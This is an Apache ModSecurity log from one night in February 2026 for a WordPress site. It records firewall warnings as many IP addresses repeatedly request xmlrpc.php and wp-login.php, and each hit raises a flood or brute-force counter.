[Sat Feb 07 00:21:44.074011 2026] [:error] [pid 46432:tid 46447] [client 34.173.221.127:53474] [client 34.173.221.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.221.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVGAbwJwu_od0kZjNGvgAAAk0"]
[Sat Feb 07 00:22:04.169049 2026] [:error] [pid 3381:tid 3436] [client 165.22.223.230:36322] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVLC81zqRg96ZREgiSqAAAAFc"]
[Sat Feb 07 00:22:13.926161 2026] [:error] [pid 3381:tid 3416] [client 94.237.69.112:38600] [client 94.237.69.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.237.69.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVNS81zqRg96ZREgiStwAAAEM"]
[Sat Feb 07 00:22:33.422752 2026] [:error] [pid 37019:tid 37037] [client 103.143.231.246:43230] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVSQkAjqd3bcgYBruASgAAAhA"]
[Sat Feb 07 00:22:49.400931 2026] [:error] [pid 36857:tid 36878] [client 198.46.253.39:45042] [client 198.46.253.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.46.253.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVWZVQwfj7Kp4Dd0EIswAAAZM"]
[Sat Feb 07 00:22:50.912145 2026] [:error] [pid 3381:tid 3437] [client 47.251.71.191:49366] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYVWi81zqRg96ZREgiS8QAAAFg"]
[Sat Feb 07 00:27:56.911565 2026] [:error] [pid 15821:tid 15833] [client 194.233.87.151:49698] [client 194.233.87.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.87.151, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYWjHARQa67J4c772kqFAAAAQg"]
[Sat Feb 07 00:39:28.374488 2026] [:error] [pid 55701:tid 55776] [client 213.154.231.200:45460] [client 213.154.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.154.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYZQMDNf5Dni-14pBC-cwAAAVQ"]
[Sat Feb 07 00:39:33.859054 2026] [:error] [pid 55701:tid 55779] [client 213.154.231.200:45466] [client 213.154.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.154.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYZRcDNf5Dni-14pBC-hAAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 00:48:37.835691 2026] [:error] [pid 55701:tid 55768] [client 104.37.191.206:38394] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYbZcDNf5Dni-14pBDByAAAAUw"]
[Sat Feb 07 01:02:39.784950 2026] [:error] [pid 55616:tid 55627] [client 51.222.158.107:38716] [client 51.222.158.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.222.158.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYer-zxeKHfFD-B2b3ZxwAAAEg"]
[Sat Feb 07 01:02:41.590863 2026] [:error] [pid 55616:tid 55639] [client 51.222.158.107:38716] [client 51.222.158.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.222.158.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYesezxeKHfFD-B2b3ZywAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 01:23:30.954560 2026] [:error] [pid 35309:tid 35456] [client 136.110.3.61:39198] [client 136.110.3.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.110.3.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYjkojeM9w-4dKewm_LqwAAAME"]
[Sat Feb 07 01:37:00.834656 2026] [:error] [pid 35309:tid 35479] [client 162.240.10.235:45594] [client 162.240.10.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.10.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYmvIjeM9w-4dKewm_PjgAAANc"]
[Sat Feb 07 01:37:12.236616 2026] [:error] [pid 50881:tid 50963] [client 162.240.10.235:57296] [client 162.240.10.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.10.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYmyF8TBLsqJpkSDKXV4wAAAZg"]
[Sat Feb 07 01:47:07.784710 2026] [:error] [pid 50881:tid 50960] [client 79.124.76.26:33854] [client 79.124.76.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.124.76.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYpG18TBLsqJpkSDKXaIQAAAZU"]
[Sat Feb 07 01:47:10.679115 2026] [:error] [pid 50881:tid 50958] [client 79.124.76.26:33854] [client 79.124.76.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.124.76.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYpHl8TBLsqJpkSDKXaJgAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 01:52:03.927516 2026] [:error] [pid 55616:tid 55633] [client 208.109.39.153:47882] [client 208.109.39.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.109.39.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYqQ-zxeKHfFD-B2b3pQQAAAE4"]
[Sat Feb 07 01:58:48.218190 2026] [:error] [pid 35537:tid 35558] [client 185.180.207.133:32780] [client 185.180.207.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.180.207.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYr2M1jKVeByUo420DptwAAARM"]
[Sat Feb 07 01:58:55.434364 2026] [:error] [pid 55701:tid 55755] [client 185.180.207.133:32782] [client 185.180.207.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.180.207.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYr38DNf5Dni-14pBDeogAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 02:08:38.313724 2026] [:error] [pid 50881:tid 50939] [client 54.255.216.38:44068] [client 54.255.216.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.255.216.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYuJl8TBLsqJpkSDKXhhAAAAYA"]
[Sat Feb 07 02:12:13.883492 2026] [:error] [pid 50881:tid 50939] [client 103.56.161.126:42314] [client 103.56.161.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.56.161.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYu_V8TBLsqJpkSDKXibAAAAYA"]
[Sat Feb 07 02:12:17.466860 2026] [:error] [pid 50881:tid 50958] [client 103.56.161.126:42314] [client 103.56.161.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.56.161.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYYvAV8TBLsqJpkSDKXicQAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 02:21:58.384524 2026] [:error] [pid 55701:tid 55757] [client 136.243.21.235:41494] [client 136.243.21.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.243.21.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYYxRsDNf5Dni-14pBDj6gAAAUI"]
[Sat Feb 07 02:39:46.756832 2026] [:error] [pid 35309:tid 35468] [client 68.178.195.38:48626] [client 68.178.195.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.195.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYY1cojeM9w-4dKewm_iVgAAAM0"]
[Sat Feb 07 03:01:11.537194 2026] [:error] [pid 35308:tid 35438] [client 220.158.234.70:46572] [client 220.158.234.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.234.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYY6dwUnbRgf4hlvwiy0JQAAAIs"]
[Sat Feb 07 03:20:28.714181 2026] [:error] [pid 47484:tid 47575] [client 209.235.136.133:42480] [client 209.235.136.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYY-_MJX8AqsgcxUeOiNqQAAAIk"]
[Sat Feb 07 03:20:30.540998 2026] [:error] [pid 47484:tid 47578] [client 209.235.136.133:42480] [client 209.235.136.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYY-_sJX8AqsgcxUeOiNrgAAAIw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 03:22:14.895698 2026] [:error] [pid 47484:tid 47587] [client 109.234.160.16:53374] [client 109.234.160.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.160.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYY_ZsJX8AqsgcxUeOiOhwAAAJU"]
[Sat Feb 07 03:46:05.003988 2026] [:error] [pid 50672:tid 50732] [client 87.229.45.179:40728] [client 87.229.45.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.229.45.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZE_Q9o0jq1XS8Nv7NYzQAAAFg"]
[Sat Feb 07 03:49:29.173794 2026] [:error] [pid 50672:tid 50712] [client 3.7.184.189:38708] [client 3.7.184.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.7.184.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZFyQ9o0jq1XS8Nv7NZwQAAAEQ"]
[Sat Feb 07 04:02:12.004424 2026] [:error] [pid 50672:tid 50724] [client 136.243.21.235:45528] [client 136.243.21.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.21.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZIxA9o0jq1XS8Nv7NeoQAAAFA"]
[Sat Feb 07 04:02:23.849125 2026] [:error] [pid 50673:tid 50752] [client 13.126.164.139:51116] [client 13.126.164.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.126.164.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZIz2VwLsaZ7aKO2cnaQAAAAJE"]
[Sat Feb 07 04:02:26.042246 2026] [:error] [pid 50671:tid 50681] [client 136.243.21.235:50022] [client 136.243.21.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.21.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZI0rvqLohWBI_mqBPBuQAAAAE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 04:14:27.040872 2026] [:error] [pid 50672:tid 50714] [client 82.223.245.250:37548] [client 82.223.245.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.245.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZLow9o0jq1XS8Nv7NkUAAAAEY"]
[Sat Feb 07 04:14:29.247581 2026] [:error] [pid 50672:tid 50726] [client 82.223.245.250:37548] [client 82.223.245.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.245.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZLpQ9o0jq1XS8Nv7NkVQAAAFI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 04:22:53.017887 2026] [:error] [pid 55157:tid 55168] [client 162.240.10.235:50044] [client 162.240.10.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.10.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZNnX36JdtTn2bTEoywqAAAAQY"]
[Sat Feb 07 04:25:33.110602 2026] [:error] [pid 55157:tid 55170] [client 162.0.211.226:60986] [client 162.0.211.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.211.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZOPX36JdtTn2bTEoyy6gAAAQg"]
[Sat Feb 07 04:25:34.657679 2026] [:error] [pid 55157:tid 55174] [client 162.0.211.226:60986] [client 162.0.211.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.211.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZOPn36JdtTn2bTEoyy8AAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 04:37:09.505201 2026] [:error] [pid 55157:tid 55172] [client 47.251.71.191:59520] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZQ9X36JdtTn2bTEoy4WgAAAQo"]
[Sat Feb 07 04:37:26.315191 2026] [:error] [pid 50673:tid 50735] [client 47.242.2.139:45650] [client 47.242.2.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.2.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZRBmVwLsaZ7aKO2cnpCQAAAIA"]
[Sat Feb 07 04:37:27.084940 2026] [:error] [pid 55157:tid 55165] [client 216.251.35.203:50592] [client 216.251.35.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.251.35.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZRB336JdtTn2bTEoy4hAAAAQM"]
[Sat Feb 07 04:37:33.917567 2026] [:error] [pid 50780:tid 50795] [client 173.236.109.194:51105] [client 173.236.109.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.109.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZRDetUmIu2JHM2CruLxAAAAM0"]
[Sat Feb 07 04:37:55.874695 2026] [:error] [pid 50671:tid 50688] [client 198.54.114.14:36208] [client 198.54.114.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZRI7vqLohWBI_mqBPQEwAAAAg"]
[Sat Feb 07 04:58:10.685603 2026] [:error] [pid 55157:tid 55180] [client 5.180.107.178:57758] [client 5.180.107.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.180.107.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZV4n36JdtTn2bTEozB5wAAARI"]
[Sat Feb 07 04:58:12.550028 2026] [:error] [pid 55157:tid 55174] [client 5.180.107.178:57758] [client 5.180.107.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.180.107.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZV5H36JdtTn2bTEozB6QAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 05:08:55.391874 2026] [:error] [pid 50780:tid 50799] [client 92.205.20.61:52028] [client 92.205.20.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.20.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZYZ-tUmIu2JHM2CruXcAAAANE"]
[Sat Feb 07 05:26:07.068678 2026] [:error] [pid 50671:tid 50702] [client 103.13.103.146:35518] [client 103.13.103.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.13.103.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZcb7vqLohWBI_mqBPc9gAAABY"]
[Sat Feb 07 05:29:10.903966 2026] [:error] [pid 50672:tid 50714] [client 66.223.49.184:42326] [client 66.223.49.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.223.49.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZdJg9o0jq1XS8Nv7N7lgAAAEY"]
[Sat Feb 07 05:35:10.414892 2026] [:error] [pid 55157:tid 55186] [client 216.73.216.179:4421] [client 216.73.216.179] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aYZejn36JdtTn2bTEozSgAAAARg"]
[Sat Feb 07 05:51:17.255685 2026] [:error] [pid 50780:tid 50786] [client 162.240.10.235:34500] [client 162.240.10.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.10.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYZiVetUmIu2JHM2CruleQAAAMQ"]
[Sat Feb 07 05:51:46.728113 2026] [:error] [pid 43182:tid 43184] [client 136.243.21.235:38836] [client 136.243.21.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.21.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZicvEC82JnxmrnFYm98wAAAUA"]
[Sat Feb 07 05:51:48.661784 2026] [:error] [pid 43182:tid 43200] [client 136.243.21.235:38836] [client 136.243.21.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.21.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZidPEC82JnxmrnFYm99QAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 06:04:23.832565 2026] [:error] [pid 50673:tid 50751] [client 92.204.210.204:46446] [client 92.204.210.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.210.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZlZ2VwLsaZ7aKO2ckCEwAAAJA"]
[Sat Feb 07 06:04:25.809015 2026] [:error] [pid 50673:tid 50745] [client 92.204.210.204:46446] [client 92.204.210.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.210.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZlaWVwLsaZ7aKO2ckCFAAAAIo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 06:40:18.232195 2026] [:error] [pid 50673:tid 50754] [client 51.255.148.60:51242] [client 51.255.148.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.255.148.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZt0mVwLsaZ7aKO2ckNbgAAAJM"]
[Sat Feb 07 06:40:20.300210 2026] [:error] [pid 50673:tid 50757] [client 51.255.148.60:51242] [client 51.255.148.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.255.148.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYZt1GVwLsaZ7aKO2ckNcAAAAJY"], referer: https://gigfragments.org/wp-login.php
